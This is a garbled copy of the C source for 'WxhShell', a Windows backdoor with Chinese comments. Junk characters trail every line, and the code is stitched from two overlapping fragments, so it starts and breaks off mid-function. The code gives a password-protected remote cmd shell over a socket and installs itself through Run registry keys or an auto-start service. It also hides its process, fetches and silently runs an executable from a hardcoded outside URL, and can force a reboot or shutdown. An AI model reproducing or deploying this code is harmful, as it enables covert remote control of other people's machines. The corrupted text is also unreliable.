    if(Boot(SHUTDOWN)) =OJ;0 /$6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ydv3owN  
    else { 7nzGAz_W  
    closesocket(wsh); M9!AIHq4  
    ExitThread(0); a:YI"*S  
    } !2:3MbtR  
    break; vhr+g 'tf  
    } }G$]LWgQx  
  // 获取shell yz+, gLY  
  case 's': { ~#\i!I;RY}  
    CmdShell(wsh); 6pE :A@  
    closesocket(wsh); ^0W(hA  
    ExitThread(0); 52zGJ I*  
    break; `nR%Cav,U  
  } t<:D@J]a  
  // 退出 #0b&^QL  
  case 'x': { b4Y8N"hL%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RnfXN)+P  
    CloseIt(wsh); +kdySWF  
    break; l6[lJ0Y  
    } ! 0/z>#b  
  // 离开 }W)=@t  
  case 'q': { Q Z8QQ`*S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6)]f6p&e  
    closesocket(wsh); gJ2 H=#M  
    WSACleanup(); (kTXP_  
    exit(1); 64Gi8|P  
    break; vAP{;Q0 i  
        } *5%*|>  
  } D}Ilyk_uUw  
  } F="z]C;u  
V%HS\<$h  
  // 提示信息  'k&?DZ!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7dh1W@\  
} ~$O1`IT  
  } [AEBF2OIv  
TY;U2.Ud  
  return; NCA {H^CL  
} @D`zKYwX1  
i`%.  
// shell模块句柄 ;)DzC c/  
int CmdShell(SOCKET sock) z}}]jR \y?  
{ 4aZCFdc  
STARTUPINFO si; c(- Mc6  
ZeroMemory(&si,sizeof(si)); xSpC'"   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k7_I$ <YDj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z#`0txCF  
PROCESS_INFORMATION ProcessInfo; Oi:JiD=  
char cmdline[]="cmd"; cTZ)"^z!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b'>8ZIY  
  return 0; ;i#LIHJ  
} \9)[ #Ld  
Mj0Cat=  
// 自身启动模式 p}]q d4j  
int StartFromService(void) >',y  
{ ;kaHN;4?  
typedef struct AZFWuPJo  
{ |U[y_Y\a  
  DWORD ExitStatus; #_Ea[q7v  
  DWORD PebBaseAddress; ^o<:;{  
  DWORD AffinityMask; SA6hbcYk  
  DWORD BasePriority; %|3e.1oX  
  ULONG UniqueProcessId; =.m6FRsU  
  ULONG InheritedFromUniqueProcessId; X<Za9  
}   PROCESS_BASIC_INFORMATION; b5ie <s  
UPCQs",  
PROCNTQSIP NtQueryInformationProcess; coQ[@vu  
){Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &B-[oqC?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MM#cLw  
` DCU>bt&R  
  HANDLE             hProcess;  0V11#   
  PROCESS_BASIC_INFORMATION pbi; >?XbU}  
% mn />  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rb_Z5T  
  if(NULL == hInst ) return 0; #!!AbuhzK{  
>.dHt\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4E"d/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ='/Z;3jt]x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {V2bU}5 [  
+!&$SNLh(  
  if (!NtQueryInformationProcess) return 0; :B#EqeI  
y~#\#w {  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZW ye> ]  
  if(!hProcess) return 0; 2o{@nN8%  
%= u/3b:o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $>vy(Y  
J6|JWp  
  CloseHandle(hProcess); C@@$"}%v2  
AF#_nK) @  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O.:I,D&]  
if(hProcess==NULL) return 0; D?u`  
SfI*bJo>V  
HMODULE hMod; y/4ny,s"  
char procName[255]; WEa>)@  
unsigned long cbNeeded; (-(*XNC  
H/i<_LP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <Ry $7t,  
u7k|7e=xk  
  CloseHandle(hProcess); Jirct,k  
F/<qE!(  
if(strstr(procName,"services")) return 1; // 以服务启动 GAU!_M5N  
yKDZ+3xK]  
  return 0; // 注册表启动 sMi{"`37  
} $v&C@l \  
|QYZRz  
// 主模块 jKt-~:  
int StartWxhshell(LPSTR lpCmdLine) &tBA^igXK  
{  R<&FhT]  
  SOCKET wsl; Zd<[=%d  
BOOL val=TRUE; R#0{Wg0O)  
  int port=0; ,+-?Zv 2  
  struct sockaddr_in door; oeN zHp_  
#\b ;2>  
  if(wscfg.ws_autoins) Install(); agY5Dg7  
Kfjryo9  
port=atoi(lpCmdLine); ="lI i$>O  
8IWw jyRr  
if(port<=0) port=wscfg.ws_port; *CUdGI&  
vv h.@f  
  WSADATA data; ;5M<j3_*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b7'F|h^  
*]!l%Uf%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A70(W{6a9@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _<u;4RO(s  
  door.sin_family = AF_INET; >-<F)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Yq0# #__  
  door.sin_port = htons(port); 4g!7 4a  
F!R2_89iy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { " dT>KQ  
closesocket(wsl); !Zj#.6c9  
return 1; 5DSuUEvWcL  
} 0#=W#Jl>  
%^')G+>i  
  if(listen(wsl,2) == INVALID_SOCKET) { 8*)4"rS  
closesocket(wsl); ('HxHOh2  
return 1; t&pGQ  
} hZ o5p&b  
  Wxhshell(wsl); \1{_lynD  
  WSACleanup(); k#jm7 +  
Cgo XZX  
return 0; L<E/,IdE  
poY8 )2  
} qL>v&Rd<  
' fl(N2t  
// 以NT服务方式启动 RO$*G jQd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _Y7:!-n}   
{ x:C@)CAr  
DWORD   status = 0; !OQuEJR  
  DWORD   specificError = 0xfffffff; EOQaY  
t[j9R#02?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Wbd_a R (  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "s;ci~$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }#|2z}!  
  serviceStatus.dwWin32ExitCode     = 0; Re\o v x9  
  serviceStatus.dwServiceSpecificExitCode = 0; }6@%((9E 2  
  serviceStatus.dwCheckPoint       = 0; W+/2c4$F3  
  serviceStatus.dwWaitHint       = 0;  h.D^1  
r"[L0Cbb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fr]Hc+7  
  if (hServiceStatusHandle==0) return; UhBz<>i;!  
'v+96b/;  
status = GetLastError(); /=- h:0{M  
  if (status!=NO_ERROR) 8'% +G  
{ "Y(%oJS]D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rxArTpS{.#  
    serviceStatus.dwCheckPoint       = 0; X_!$Pk7ma  
    serviceStatus.dwWaitHint       = 0; _;V YFs  
    serviceStatus.dwWin32ExitCode     = status; .Map   
    serviceStatus.dwServiceSpecificExitCode = specificError; K_FBy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a^x  0 l  
    return; ja:\W\xhJ  
  } ME,duY/>Q  
8ur_/h7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r.Lx%LZ\^  
  serviceStatus.dwCheckPoint       = 0; sHF%=Vu  
  serviceStatus.dwWaitHint       = 0; tB !|p6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gvK"*aIj  
} ^:U;rHY  
g.=!3e&z%  
// 处理NT服务事件,比如:启动、停止 6iyt2q kh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jb 6&  
{ qWkx:-g]  
switch(fdwControl) W -3w7^  
{ o=@ UXi  
case SERVICE_CONTROL_STOP: Hj1k-Bs&'w  
  serviceStatus.dwWin32ExitCode = 0; W >Kp\tD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s7AI:Zv  
  serviceStatus.dwCheckPoint   = 0; " _mmR M  
  serviceStatus.dwWaitHint     = 0; w[|y0jtw  
  { r*>QT:sB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iAg}pwU  
  } NrW[Q 3E$  
  return; JfR kp  
case SERVICE_CONTROL_PAUSE: Zq9>VqGe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9/^d~ ZO  
  break; we @Yw6<  
case SERVICE_CONTROL_CONTINUE: y.%i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Us*Vn  
  break; DU(X,hDBF  
case SERVICE_CONTROL_INTERROGATE: td%Y4-+-  
  break; A03I-^0g+  
}; PaA6Z":  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1ME|G"$;  
} `yy%<&  
<'VA=orD  
// 标准应用程序主函数 /^NJ)9IB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x={kjym L  
{ "rL"K  
Sw/J+FO2  
// 获取操作系统版本 A<]&JbIt  
OsIsNt=GetOsVer(); Xk;Uk[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wX@H &)<s  
L/c4"f|.*v  
  // 从命令行安装 3KR2TcT#{  
  if(strpbrk(lpCmdLine,"iI")) Install(); |:{g?4Mi  
m<~>&mWr  
  // 下载执行文件 9$8X> T^   
if(wscfg.ws_downexe) { $]xE$dzJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "Fo  
  WinExec(wscfg.ws_filenam,SW_HIDE); p^}L  
} ^"PfDTyA  
:A,O(   
if(!OsIsNt) { e?|d9;BO  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~>lOl/n5  
HideProc(); nqBG]y aI  
StartWxhshell(lpCmdLine); :LU"5g  
} !>?4[|?n<  
else dVij <! Lu  
  if(StartFromService()) r{bgTG  
  // 以服务方式启动  ?L`MFR  
  StartServiceCtrlDispatcher(DispatchTable); I=Gr^\x=  
else "tEj`eR  
  // 普通方式启动 \z&03@Sw  
  StartWxhshell(lpCmdLine); J{a Q1)  
tvG g@Xs\  
return 0; hqdC9?\  
} `8.1&fBr  
F0X5dv  
Cij$GYkv  
MHC.k=  
=========================================== |k/`WC6As.  
}x{rTEq  
d<e+__ 2  
u Zo]8mV  
U&tfl/  
yd\5Z[iEp  
" Krt$=:m|1  
o6`Y7,]  
#include <stdio.h> r3*+8 D~a_  
#include <string.h> $w 5#2Za  
#include <windows.h> 0[_O+u  
#include <winsock2.h> S.zg&   
#include <winsvc.h> ,<R>Hiwg/s  
#include <urlmon.h> ,AGM?&A  
hpd(d$j  
#pragma comment (lib, "Ws2_32.lib") Fr938q6^-  
#pragma comment (lib, "urlmon.lib") 6{Krw \0  
g6x/f<2x  
#define MAX_USER   100 // 最大客户端连接数 S,ouj;B  
#define BUF_SOCK   200 // sock buffer we6+2  
#define KEY_BUFF   255 // 输入 buffer (CKhY~,/u  
Vu_7uSp,)  
#define REBOOT     0   // 重启 My'9S2Y8nv  
#define SHUTDOWN   1   // 关机 ^K1~eb*K  
`</=AY>  
#define DEF_PORT   5000 // 监听端口 C}dKbs^g|  
_stI?fz*4k  
#define REG_LEN     16   // 注册表键长度 G_4K+ -K  
#define SVC_LEN     80   // NT服务名长度 #"3[f@|e  
a>;3 j  
// 从dll定义API +xoyKP!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A52LH,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c+)36/; X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kMfc"JXF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dXf]G6  
AQJ|^'%  
// wxhshell配置信息 o(v"?Y6  
struct WSCFG { &etL&s v  
  int ws_port;         // 监听端口 0xvMR&.H  
  char ws_passstr[REG_LEN]; // 口令 u&?yPR  
  int ws_autoins;       // 安装标记, 1=yes 0=no b<29wL1  
  char ws_regname[REG_LEN]; // 注册表键名 F``EARG)iu  
  char ws_svcname[REG_LEN]; // 服务名 %8rr*l5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -52 @%uB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息   2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0{^l2?mgSb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L@d]RMNv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  :V5!C$QV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -$sl!%HO%  
K#m\ qitb  
}; iMOPD}`IX  
2fHIk57jP  
// default Wxhshell configuration !9ceCnwbNN  
struct WSCFG wscfg={DEF_PORT, IL8'{<lM  
    "xuhuanlingzhe", i"2J5LLv  
    1, @M1yBN  
    "Wxhshell", &CxyP_  
    "Wxhshell", ( FjsN5  
            "WxhShell Service", 14@q$}sf  
    "Wrsky Windows CmdShell Service", DRKc&F6Qy  
    "Please Input Your Password: ", =Ov;'MC  
  1, /Gh x2B  
  "http://www.wrsky.com/wxhshell.exe", l\A}lC0?J  
  "Wxhshell.exe" ".*a)  
    }; !DY2{Wb  
l"~h1xk~  
// 消息定义模块 vJ#rW8y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5 ~ *'>y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wHo#%Y,Nmi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vMW-gk  
char *msg_ws_ext="\n\rExit."; ~8Dd<4?F]  
char *msg_ws_end="\n\rQuit."; M; S-ESQ  
char *msg_ws_boot="\n\rReboot..."; U&d-?PI  
char *msg_ws_poff="\n\rShutdown..."; ^=-*L 3f  
char *msg_ws_down="\n\rSave to "; U:etcnb4w>  
dZ;~b(CA  
char *msg_ws_err="\n\rErr!"; #V(Hk )  
char *msg_ws_ok="\n\rOK!"; dH2j*G Ij  
bSeL"   
char ExeFile[MAX_PATH]; $Nt]${0  
int nUser = 0; #C=L^cSx(  
HANDLE handles[MAX_USER]; 2S7H_qo$  
int OsIsNt; FzsS~C$wH{  
E``!-W  
SERVICE_STATUS       serviceStatus; ]VHdE_7)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e5"-4udCn  
')yF0  
// 函数声明 tswG"1R  
int Install(void); .eDxIWW+ft  
int Uninstall(void); JUaKj@a|  
int DownloadFile(char *sURL, SOCKET wsh); r,Y/4(.c7U  
int Boot(int flag); !,-qn)b  
void HideProc(void); Li<266#A!  
int GetOsVer(void); UmP?}Xw6  
int Wxhshell(SOCKET wsl); _6QLnr&@j  
void TalkWithClient(void *cs); J4K|KS7   
int CmdShell(SOCKET sock); Is*0?9qU  
int StartFromService(void); j .yr 5%  
int StartWxhshell(LPSTR lpCmdLine); A]~iuUHm  
8en#PH }  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); no\}aTx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;>QK}#'  
WkU) I2oH  
// 数据结构和表定义 40l#'< y;  
SERVICE_TABLE_ENTRY DispatchTable[] =  S9ak '  
{ 9{]r+z:  
{wscfg.ws_svcname, NTServiceMain}, sP8-gkkor  
{NULL, NULL} "#eNFCo7k  
}; W0uM?J\O  
H?/cG_^y0  
// 自我安装 7]HIE]#  
int Install(void) Ph7(JV{  
{ U%B]N@  
  char svExeFile[MAX_PATH]; );/5#b@<Y  
  HKEY key; RGPU~L  
  strcpy(svExeFile,ExeFile); e&a[k  
xz Gsfd  
// 如果是win9x系统,修改注册表设为自启动 48"Y-TV  
if(!OsIsNt) { [0,q7d?"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WY. \<$7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l.NkS   
  RegCloseKey(key); |2t7mat  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qeO6}A"^|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %Cbc@=k  
  RegCloseKey(key); k~s>8N:&G  
  return 0; <K.C?M(9  
    } ZZ.0'   
  } krnk%ug  
} L!}j3(I  
else { ?\p%Mx?   
/o06hy  
// 如果是NT以上系统,安装为系统服务 !A^w6Q;`V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2O)Kn q  
if (schSCManager!=0) wGQhr="  
{ yfw>y=/p  
  SC_HANDLE schService = CreateService RT+30Q?  
  ( hK9oe%kU~  
  schSCManager, >J75T1PH=  
  wscfg.ws_svcname, yOCcp+`T}  
  wscfg.ws_svcdisp, 4`5Qt=}  
  SERVICE_ALL_ACCESS, E,yzy[gl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =x.v*W]F`  
  SERVICE_AUTO_START, ([XyW{=h!  
  SERVICE_ERROR_NORMAL, "62Ysapq+  
  svExeFile, :M?')  
  NULL, !&:W1Jkp(  
  NULL, OXCml(>{  
  NULL, ^[?+=1 k  
  NULL, 2.L6]^N p(  
  NULL dgqJ=+z 0y  
  ); ^9V8M9  
  if (schService!=0) *p5T  
  { h'q0eqYeu)  
  CloseServiceHandle(schService); VFaK>gQ  
  CloseServiceHandle(schSCManager); [@?.}!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R O3e  
  strcat(svExeFile,wscfg.ws_svcname); )+{omQ7v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TboHP/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L!Zxc~  
  RegCloseKey(key); NVh>Q>B$_  
  return 0; d~1"{WPSn  
    } 'N,NG$G2  
  } 6Oqnb+  
  CloseServiceHandle(schSCManager); {c EK z\RX  
} %m\G'hY2  
} LVcy.kU@]  
ppo$&W &z  
return 1; r L|BkN  
} mt6uW+t/  
cW|Zgz8vv  
// 自我卸载 % |Gzht\  
int Uninstall(void) ^A$XXH '  
{ :bF2b..XOu  
  HKEY key; %|6Q7'@p  
7z0 uj  
if(!OsIsNt) { X1PlW8pd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U,3K6AZA 7  
  RegDeleteValue(key,wscfg.ws_regname); nsw8[pk  
  RegCloseKey(key); i2R]lE8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UU~;B  
  RegDeleteValue(key,wscfg.ws_regname); K~~*M?.Z  
  RegCloseKey(key); cw-JGqLx  
  return 0; `0vy+T5  
  } K dQ|$t  
} l{SPV8[i  
} dE!=a|Pl  
else { k)t8J\  
-+2xdLa63  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d1_*!LW$  
if (schSCManager!=0) JRs[%w`kD  
{ uC ;PP=z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q@yabuN@,j  
  if (schService!=0) _I"<?sh 3  
  { <y/AEY1  
  if(DeleteService(schService)!=0) { T1W9@9,s  
  CloseServiceHandle(schService); vh.tk^&  
  CloseServiceHandle(schSCManager); "YU~QOGx@  
  return 0; ^9~%=k=  
  } @9P9U`ZP  
  CloseServiceHandle(schService); )s[S.`S Tz  
  } H4",r5qw:  
  CloseServiceHandle(schSCManager); 6#63D>OWp  
} 4U1fPyt  
} 4!W?z2ly~R  
t-m,~IoW  
return 1; &zDFf9w2{  
} }(I DPaJ  
BJ2W }R  
// 从指定url下载文件 oa|*-nw  
int DownloadFile(char *sURL, SOCKET wsh) weadY,-H8  
{ _@?Jx/`;bk  
  HRESULT hr; (w  
char seps[]= "/"; ,colGth 54  
char *token; dllf~:b  
char *file; Yzx0[_'u  
char myURL[MAX_PATH]; >V=@[B(0  
char myFILE[MAX_PATH]; ^u&Khc~ y  
WC;a  
strcpy(myURL,sURL); jmVy4* P_  
  token=strtok(myURL,seps); eC:Q)%$%l  
  while(token!=NULL) iz5wUyeg  
  { W%QtJB1)  
    file=token; ~TIZumGB  
  token=strtok(NULL,seps); 4^9_E &Fa  
  } yp'>+cLa  
AQU: 0  
GetCurrentDirectory(MAX_PATH,myFILE); "lb!m9F{  
strcat(myFILE, "\\"); P&,cCR>  
strcat(myFILE, file); ]Y! Vyn  
  send(wsh,myFILE,strlen(myFILE),0); #$T"QL@  
send(wsh,"...",3,0); md LJ,w?{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m*,[1oeG&  
  if(hr==S_OK) L uK m  
return 0; pC Is+1O/  
else !sWBj'[>  
return 1; YhR"_  
,QAp5I%3=  
} Y}z?I%zL  
nit7|T@^  
// 系统电源模块 *dgN pJ 9  
int Boot(int flag) !Hj)S](F  
{ l[{}ZKZ  
  HANDLE hToken; bncFrzp#o  
  TOKEN_PRIVILEGES tkp; ="E V@H?U  
(ZsR=:9(  
  if(OsIsNt) { 1<e%)? G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >7Q7H#~w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %*}f<k{6  
    tkp.PrivilegeCount = 1; <7) 6*u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h(up1(x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >?FCv7qN  
if(flag==REBOOT) { 8 z7,W3b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P#oV ^  
  return 0; {Oszq(A  
} @b({QM|  
else { Q(7l<z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _3>zi.J/  
  return 0; 2a-hf|b1  
} =LA@E&,j  
  } #E)]7!_XG  
  else { uS,$P34^oy  
if(flag==REBOOT) { `vBa.)u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,Yz+?SmSZ&  
  return 0; FQl|<l6  
} 63$m& ]x  
else { L<`g}iw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9x,+G['Zt  
  return 0; )5x?Qn(B  
} Fowh3go  
} A[a+,TN {  
pBLO  
return 1; ??Ac=K\  
} 1^dWmxUZH  
L,L7WObA  
// win9x进程隐藏模块 5,Zn$zosJC  
void HideProc(void) X:/t>0e  
{ P2F>iK#U  
G$<0_0GF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); px@\b]/  
  if ( hKernel != NULL ) H:6$) #  
  { 0k [6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nsk 6a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R0'EoX  
    FreeLibrary(hKernel); ?>&Zm$5V  
  } {Wo7=aR  
1fZ:^|\  
return; q5PYc.E([  
} 3}Qh`+Yj]  
K4~O x  
// 获取操作系统版本 5Bo)j_Qo  
int GetOsVer(void) Fwqf4&/  
{ 9f`Pi:*+/  
  OSVERSIONINFO winfo; q#Vf2U55m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xi.?9J`@  
  GetVersionEx(&winfo); 2O/_hv.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3s2M$3r)6  
  return 1; ,pz CJ@5  
  else C"<@EMU9  
  return 0; t`B']Ac;T  
} 4uA^/]ygo  
:~Y$\Ww(~  
// 客户端句柄模块 R3A^VE;qP  
int Wxhshell(SOCKET wsl) XT"c7]X  
{ Gy%e%'  
  SOCKET wsh; T:$_1I $  
  struct sockaddr_in client; bk]|C!7$  
  DWORD myID; ,vPF=wq  
w3D_ c~  
  while(nUser<MAX_USER) K-3 _4As  
{ $EF@x}h:A  
  int nSize=sizeof(client); d .A0(*k,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M-Bw9`#Jw  
  if(wsh==INVALID_SOCKET) return 1; ~JpUO~i/  
#C^m>o~R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |sz9l/,lG  
if(handles[nUser]==0) (i8 t^  
  closesocket(wsh);  %3j5Q   
else )VC) }  
  nUser++; k7*q.20  
  } $'q(Z@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nCU4a1rZ  
L_,U*Jyo  
  return 0; k9n93I|Cm  
} hLRQ)  
Z]<_a)>  
// 关闭 socket <h({+N  
void CloseIt(SOCKET wsh) ,H*3_c&Q  
{ #ZA YP  
closesocket(wsh); 30@ GFaab  
nUser--; ^ dqEOW  
ExitThread(0); 9&cZIP   
} [@6iStRg7  
}^muAr  
// 客户端请求句柄 z{\.3G  
void TalkWithClient(void *cs) jxvVp*-=<j  
{ nP^$p C  
HdM;c*K  
  SOCKET wsh=(SOCKET)cs; tANG ]  
  char pwd[SVC_LEN]; 32yNEP{  
  char cmd[KEY_BUFF]; eORt qX8*  
char chr[1]; _q 8m$4  
int i,j; K@m^QioMj  
N"TD$NrK\  
  while (nUser < MAX_USER) { '#PT C,0UJ  
uZ+<  
if(wscfg.ws_passstr) { PJ{.jWwD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (yfTkBy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4%TC2Laii  
  //ZeroMemory(pwd,KEY_BUFF); `;;!>rm  
      i=0; - g0>>{M'  
  while(i<SVC_LEN) { i(WWF#N 5  
2xX7dl(cC  
  // 设置超时 J5k%  
  fd_set FdRead; iwbjjQPr  
  struct timeval TimeOut; /03>|Juo  
  FD_ZERO(&FdRead); r`2& o  
  FD_SET(wsh,&FdRead); \ (,2^T'$J  
  TimeOut.tv_sec=8; H< j+-u4b  
  TimeOut.tv_usec=0; a;K:~R+@,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9L};vkYk#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k;sUDmrO  
rfjQx]3pB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _bX)fnUu  
  pwd=chr[0]; fOVRtSls  
  if(chr[0]==0xd || chr[0]==0xa) { z?PF9QL1  
  pwd=0; B !XT:.+  
  break; }49?Z3  
  } {)mlXo(On  
  i++; ,O}zgf*H;  
    } b7-a0zaN  
QUt!fF@t  
  // 如果是非法用户,关闭 socket ZU`"^FQ3A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W>~V?%F&'  
} X\;y;pmRH  
P.o W#Je  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .eE5pyw+C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $)U RY~;i  
gnQd#`  
while(1) { STI8[e7{  
>2a~hW|,  
  ZeroMemory(cmd,KEY_BUFF); Sz =z TPnO  
<*[(t;i  
      // 自动支持客户端 telnet标准   %X3T<3<  
  j=0; W;=ZQ5Lw  
  while(j<KEY_BUFF) { \21!NPXH2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bu]bfnYi9  
  cmd[j]=chr[0]; GB#7w82  
  if(chr[0]==0xa || chr[0]==0xd) { d^7<l_u~ !  
  cmd[j]=0; !Ej<J&e  
  break; Rh=h{O  
  } Vh&uSi1V  
  j++; 99`xY$  
    } c0@v`-9  
e*tOXXY1  
  // 下载文件 r <U }lK  
  if(strstr(cmd,"http://")) { MStaP;|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hYLu   
  if(DownloadFile(cmd,wsh)) ]?^mb n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,q4Y N-3  
  else D3]_AS&\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?IK[]=!  
  } U-@\V1;C  
  else { 8W{R&Z7aL  
u7S7lR"lxW  
